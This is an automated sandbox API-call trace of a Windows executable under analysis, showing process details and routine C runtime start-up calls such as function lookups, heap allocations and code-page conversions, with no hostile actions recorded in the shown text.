# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 08:38:37 # Log Creation Date: 16.06.2020 14:47:26.003 Process: id = "1" image_name = "host1506_2020-06-15_14-07.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\host1506_2020-06-15_14-07.exe" page_root = "0x4d574000" os_pid = "0x694" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x738 [0024.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0x1a8a7500, dwHighDateTime=0x1d643ed)) [0024.781] GetCurrentThreadId () returned 0x738 [0024.781] GetCurrentProcessId () returned 0x694 [0024.781] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=14565514344) returned 1 [0024.864] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x77c5fd35, hStdError=0x77cc7daf)) [0024.864] GetProcessHeap () returned 0x730000 [0024.865] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0024.865] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b [0024.865] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f [0024.865] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252 [0024.865] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208 [0024.865] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionEx") returned 0x76d44d28 [0024.865] GetProcAddress (hModule=0x76d30000, lpProcName="CreateEventExW") returned 0x76dc410b [0024.865] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSemaphoreExW") returned 0x76dc4195 [0024.865] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadStackGuarantee") returned 0x76d4d31f [0024.865] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThreadpoolTimer") returned 0x76d5ee7e [0024.865] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadpoolTimer") returned 0x77c8441c [0024.865] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77cac50e [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="CloseThreadpoolTimer") returned 0x77cac381 [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThreadpoolWait") returned 0x76d5f088 [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadpoolWait") returned 0x77c905d7 [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="CloseThreadpoolWait") returned 0x77caca24 [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="FlushProcessWriteBuffers") returned 0x77c60b8c [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77d1fde8 [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessorNumber") returned 0x77cb1e1d [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalProcessorInformation") returned 0x76dc4761 [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSymbolicLinkW") returned 0x76dbcd11 [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="EnumSystemLocalesEx") returned 0x76dc424f [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringEx") returned 0x76dc46b1 [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="GetDateFormatEx") returned 0x76dd6676 [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoEx") returned 0x76dc4751 [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="GetTimeFormatEx") returned 0x76dd65f1 [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="GetUserDefaultLocaleName") returned 0x76dc47c1 [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="IsValidLocaleName") returned 0x76dc47e1 [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="LCMapStringEx") returned 0x76dc47f1 [0024.866] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentPackageId") returned 0x0 [0024.867] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount64") returned 0x76d5eee0 [0024.867] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0024.867] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0024.868] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3bc) returned 0x73edf8 [0024.868] GetCurrentThreadId () returned 0x738 [0024.868] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x18) returned 0x73f1c0 [0024.868] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x800) returned 0x73f1e0 [0024.868] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x408241, hStdOutput=0x7f702b96, hStdError=0x0)) [0024.868] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0024.868] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0024.868] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0024.868] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe\" " [0024.868] GetEnvironmentStringsW () returned 0x73f9e8* [0024.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0024.869] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x565) returned 0x7404c0 [0024.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x7404c0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0024.869] FreeEnvironmentStringsW (penv=0x73f9e8) returned 1 [0024.869] GetLastError () returned 0x7f [0024.869] SetLastError (dwErrCode=0x7f) [0024.869] GetLastError () returned 0x7f [0024.869] SetLastError (dwErrCode=0x7f) [0024.869] GetLastError () returned 0x7f [0024.869] SetLastError (dwErrCode=0x7f) [0024.869] GetACP () returned 0x4e4 [0024.869] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x220) returned 0x740a30 [0024.869] GetLastError () returned 0x7f [0024.869] SetLastError (dwErrCode=0x7f) [0024.869] IsValidCodePage (CodePage=0x4e4) returned 1 [0024.869] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0024.869] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0024.869] GetLastError () returned 0x7f [0024.869] SetLastError (dwErrCode=0x7f) [0024.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0024.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0024.869] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0024.869] GetLastError () returned 0x7f [0024.870] SetLastError (dwErrCode=0x7f) [0024.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0024.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0024.870] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0024.870] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0024.870] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x16*p\x7fôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0024.870] GetLastError () returned 0x7f [0024.870] SetLastError (dwErrCode=0x7f) [0024.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0024.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0024.870] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0024.870] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0024.870] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x16*p\x7fôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0024.870] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x66e4e0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\host1506_2020-06-15_14-07.exe")) returned 0x43 [0024.870] GetLastError () returned 0x0 [0024.870] SetLastError (dwErrCode=0x0) [0024.870] GetLastError () returned 0x0 [0024.870] SetLastError (dwErrCode=0x0) [0024.870] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) 